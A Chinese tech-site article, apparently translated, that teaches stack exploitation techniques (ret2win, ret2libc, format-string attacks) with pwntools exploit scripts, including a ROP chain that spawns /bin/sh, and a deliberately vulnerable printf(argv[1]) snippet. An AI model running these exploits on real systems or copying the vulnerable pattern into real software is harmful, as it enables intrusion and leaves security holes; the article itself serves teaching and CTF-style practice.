您当前的位置:首页 > 电脑百科 > 电脑知识

浅析最流行的二进制代码利用技术

时间:2023-12-22 14:19:33  来源:今日头条  作者:区块软件开发

导语:本文描述了堆栈利用过程中一些最常用的技术。

二进制代码利用是发现和利用计算机程序中的漏洞以修改或干扰其预期行为的一种方法。这些漏洞可能导致身份验证绕过和信息泄漏,或者还可能导致远程代码执行情形。很大一部分二进制代码利用发生在堆栈(stack)上,有时候发生在堆(heap)上,甚至发生在内核空间上。堆栈是存储由函数创建的临时变量的内存区域。相比之下,堆则是可以动态分配的内存区域。

下面介绍的所有技术都依赖用户输入和程序的潜在崩溃或分段错误——缓冲区溢出。当进程试图用超出预期的过多数据填充一块内存区域时,就会出现这种损坏。有鉴于此,就有可能覆盖内存,并控制下一个指令点/函数。

接下来,我们将描述堆栈利用过程中一些最常用的技术。

ret2win

我们可以将ret2win技术理解为对二进制代码中存在的特定调用«win() function»的简单重定向。实现这一目标的主要步骤如下:

• 找到目标函数/调用,以重定向执行流«win() function»。

• 通过覆盖堆栈上的返回地址(比如EIP)来调用它。

下一段代码介绍如何找到这类漏洞。在添加填充和对齐载荷之后,必须添加目标调用«win() function - 0x080491c3»的偏移量,最后执行它。本文使用了用于二进制利用的CTF框架Pwntools(
https://Github.com/Gallopsled/pwntools),为学习过程提供便利。

from pwn import *           
p = process('./vuln_program')        
 
payload = b'A' * 52 
payload += p32(0x080491c3)  #target call  «win() function» 
 
log.info(p.clean())          
p.sendline(payload) 
log.info(p.clean())

有了这种技术,就可以在程序执行期间跳转到所需的函数,从而绕过应用程序控制措施。

关于这个主题的更多细节可以在这里找到:
https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libc

ret2libc是一种技术,其中重定向流基于到libc调用的面向返回的编程(ROP)链。这种方法对于绕过一些二进制代码保护(比如NX即无执行)很重要,在windows操作系统中又称为数据执行预防(DEP)。

在二进制代码被利用的操作系统上找到libc的内存区域之后,必须基于libc的基址计算一些函数(包括系统调用)的实际地址。系统调用执行作为参数传递的任何字符串。传递给系统调用的最佳字符串是“/bin/sh”,这显然会弹出新的系统shell。

下面是表示这种探索的代码片段。正如我们所见,libc基址高亮显示为0x7ffff7de5000,并用于计算二进制内存区域内的system和/bin/sh字符串。

之后执行ROP链,它因二进制漏洞、目标操作系统、架构及其他外部变量而异。

from pwn import *  
p = process('./vuln-64') 
 
libc_base = 0x7ffff7de5000   #libc base address needed 
system = libc_base + 0x48e20 # address of system call 
binsh = libc_base + 0x18a143  # binsh string to pop a shell 
 
POP_RDI = 0x4011cb 
 payload = b'A' * 72           # The padding 
payload += p64(POP_RDI)   # gadget -> pop rdi; ret 
payload += p64(binsh)         # pointer to command: /bin/sh 
payload += p64(system)        # Location of system 
payload += p64(0x0)            # return pointer - not important once we get the shell 
 
p.clean() 
p.sendline(payload) 
p.interactive()

关于该技术的更多细节以及如何探索它,可以在这里找到:
https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串

格式字符串技术在每当将用户输入字符串作为命令来评估时都会发生。这种技术可用于执行代码、泄漏堆栈,甚至导致分段错误情形。

比如说,格式字符串参数%x和%s定义了格式函数的转换类型。针对诸如此类的输入,可能会泄露内存部分信息,这种方法还可以与上述的ret2lic一起使用。

下表给出了经常用于这种攻击中的一些格式函数。

浅析最流行的二进制代码利用技术

 

看看下一段C代码,print函数易受攻击,因为默认情况下参数函数(%p和%s等)并未指定。因此,用户可以在输入中指定它,从而充分利用这个二进制利用场景。

#include  
void mAIn(int argc, char **argv) 
{ 
// This line is vulnerable, no parameter specified (%p,%s, etc) 
printf(argv[1]); 
}

在使用一堆%p执行程序后,堆栈地址将被泄漏,并且可以轻松找到执行ret2lic方法的lib基址。

./example "Hello World %p %p %p %p %p %p" 
=> output: Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC

关于该技术的更多细节可以在这里找到:
https://owasp.org/www-community/attacks/Format_string_attack。

流行的二进制代码利用技术

二进制代码利用是渗透测试界利用内存不安全程序的最先进的攻击之一。由于二进制代码本身、保护机制以及它如何与不同的操作系统和多种架构进行交互具有复杂性,学习起来可能令人望而生畏。

翻译自:
https://resources.infosecinstitute.com/topics/vulnerabilities/binary-exploitation-techniques/



Tags:二进制   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
不依赖token,字节级模型来了!直接处理二进制数据
不依赖token,字节级模型来了!直接处理二进制数据来源:华尔街见闻 量子位bGPT显著提高了处理大规模数字数据序列的效率和可扩展性。最新GPT,不预测token了。微软亚研院等发布bGPT...【详细内容】
2024-03-12  Search: 二进制  点击:(12)  评论:(0)  加入收藏
浅析最流行的二进制代码利用技术
导语:本文描述了堆栈利用过程中一些最常用的技术。二进制代码利用是发现和利用计算机程序中的漏洞以修改或干扰其预期行为的一种方法。这些漏洞可能导致身份验证绕过和信息泄...【详细内容】
2023-12-22  Search: 二进制  点击:(102)  评论:(0)  加入收藏
文本文件与二进制文件的区别
文本文件和二进制文件是计算机中经常使用的两种文件类型,它们在数据类型和数据格式上有着明显的区别,对于不同的应用场景有着各自的优势和适用性。首先,让我们来深入了解文本文...【详细内容】
2023-11-08  Search: 二进制  点击:(213)  评论:(0)  加入收藏
使用二进制字面量在现代C++中的应用
概述:C++14引入了一项小而实用的特性——二进制字面量。本文将对这一特性进行详细分析,并说明其在现代C++中的应用。我们将探讨二进制字面量的语法、代码示例以及使...【详细内容】
2023-09-20  Search: 二进制  点击:(251)  评论:(0)  加入收藏
图解二进制,带你揭开二进制的神秘面纱
什么是二进制?二进制是由Gottfried Leibniz发明的以 2 为底的数字系统,是四种数字系统之一。四种数字系统分别是:二进制、八进制、十进制、十六进制。计算机系统中的所有数据都...【详细内容】
2022-06-14  Search: 二进制  点击:(357)  评论:(0)  加入收藏
k8s二进制安装kube-controller-manager
利用 kube-controller-manager-csr.json请求文件,创建 kube-controller-manager 证书和私钥[root@FNSHB109 k8s]# cat kube-controller-manager-csr.json{"CN": "system:kube...【详细内容】
2022-05-17  Search: 二进制  点击:(721)  评论:(0)  加入收藏
xxd命令修改和查看二进制文件
1Linux环境xxd命令如何编辑/修改二进制文件xxd工具虽然不能直接修改二进制文件,但xxd -r参数可把Hexdump文本转成二进制内容。convert (or patch) hexdump into binary.因此,...【详细内容】
2022-01-04  Search: 二进制  点击:(1804)  评论:(0)  加入收藏
linux中ELF格式二进制程序
0. 简介 在Linux系统的可执行文件(ELF文件)中,开头是一个文件头,用来描述程序的布局,整个文件的属性等信息,包括文件是否可执行、静态还是动态链接及入口地址等信息;如下图所示: 程...【详细内容】
2020-09-14  Search: 二进制  点击:(334)  评论:(0)  加入收藏
Mysql6.5二进制安装
操作系统 Oracle Linux Server release 6.3 数据库 Mysql5.6 #添加mysql用户和组 [root@localhost app]# groupadd mysql [root@localhost app]# useradd -g mysql mysql [r...【详细内容】
2020-07-02  Search: 二进制  点击:(5016)  评论:(0)  加入收藏
在 Linux 上分析二进制文件的 10 种方法
这些简单的命令和工具可以帮助你轻松完成分析二进制文件的任务。 来源:https://linux.cn/article-12187-1.html 作者:Gaurav Kamathe 译者:Xingyu.Wang“这个世界上有 10 种人...【详细内容】
2020-05-05  Search: 二进制  点击:(337)  评论:(0)  加入收藏
▌简易百科推荐
云计算和边缘计算
云计算和边缘计算是两种不同的计算模型,它们各有特点,适用于不同的场景和需求。云计算是一种基于互联网的计算模型,它将计算资源、存储资源和应用服务集中在云端,用户可以通过网...【详细内容】
2024-03-01    简易百科  Tags:云计算   点击:(28)  评论:(0)  加入收藏
云计算与边缘计算:有何不同?
公共云计算平台可以帮助企业充分利用全球服务器来增强其私有数据中心。这使得基础设施能够扩展到任何位置,并有助于计算资源的灵活扩展。混合公共-私有云为企业计算应用程序...【详细内容】
2024-02-28  通信产品推荐官    Tags:云计算   点击:(21)  评论:(0)  加入收藏
量子计算机是什么?跟现在的计算机相比优缺点是什么?
量子计算机是什么?跟现在的计算机相比优缺点是什么? 随着科技的不断发展,计算机技术也取得了巨大的进步。然而,随着摩尔定律的趋近于极限,传统的计算机技术面临着许多挑战。这时...【详细内容】
2024-02-23    简易百科  Tags:量子计算机   点击:(36)  评论:(0)  加入收藏
量子计算机:未来电脑的革命性技术
在科技的广袤天空中,量子计算机如一颗璀璨的新星,以其独特的光芒预示着未来电脑的革命性变革。这项令人瞩目的技术不仅代表着计算机科学的最前沿,更承载着人类对于速度和效率的...【详细内容】
2024-02-23  小浩长得帅    Tags:量子计算机   点击:(40)  评论:(0)  加入收藏
为什么计算机需要十六进制?
今天简单聊聊十六进制。实际上计算机本身是不需要十六进制的,计算机只需要二进制,需要十六进制的是人。每个十六进制中的数字代表4个比特,你可以非常直观的从十六进制中知道对...【详细内容】
2024-02-22  码农的荒岛求生  微信公众号  Tags:计算机   点击:(47)  评论:(0)  加入收藏
多模态RAG应用:跨越文本与图片的智能交互
近年来,多模态RAG(Retrieval-AugmentedGeneration)应用的兴起引发了人们对人工智能技术发展方向的广泛关注。传统的RAG应用主要基于文本的输入和输出,而随着GPT4-V的发布,多模态R...【详细内容】
2024-01-29  况成放    Tags:多模态RAG   点击:(64)  评论:(0)  加入收藏
量子计算机真相揭秘,一篇文章颠覆你的认知
你看过《三体》吗?在刘慈欣笔下,三体人用一种叫“智子”的黑科技干扰了人类的实验,从而锁死了人类的技术。而在现实世界,一把无形的“锁”其实也悄然逼近了我们,它就是芯片。随着...【详细内容】
2024-01-23  天才简史  今日头条  Tags:量子计算机   点击:(25)  评论:(0)  加入收藏
生成对抗网络(GAN)在计算机视觉领域中的应用
生成对抗网络(GAN)是一种在计算机视觉领域中广泛应用的深度学习模型。它由一个生成器网络和一个判别器网络组成,通过对抗训练的方式实现图像的生成和判别。GAN在计算机视觉中的...【详细内容】
2024-01-15  数码小风向    Tags:生成对抗网络   点击:(71)  评论:(0)  加入收藏
如何免费生成logo?
Logo设计对于一个品牌来说非常重要,它是品牌的身份标识,可以帮助人们迅速识别和记住一个品牌。同时还可以帮助建立品牌认知度,传达出品牌的专业形象。无论是大公司还是刚起步的...【详细内容】
2024-01-05  阳仔问文    Tags:logo   点击:(85)  评论:(0)  加入收藏
自然语言处理中的句法分析方法研究与实现
自然语言处理(NLP)中的句法分析方法是NLP领域的重要研究内容之一,它旨在通过对句子结构的分析和理解,揭示句子中单词之间的语法关系,为后续的语义理解和信息提取提供基础支撑。本...【详细内容】
2024-01-04  毛晓峰    Tags:自然语言处理   点击:(55)  评论:(0)  加入收藏
站内最新
站内热门
站内头条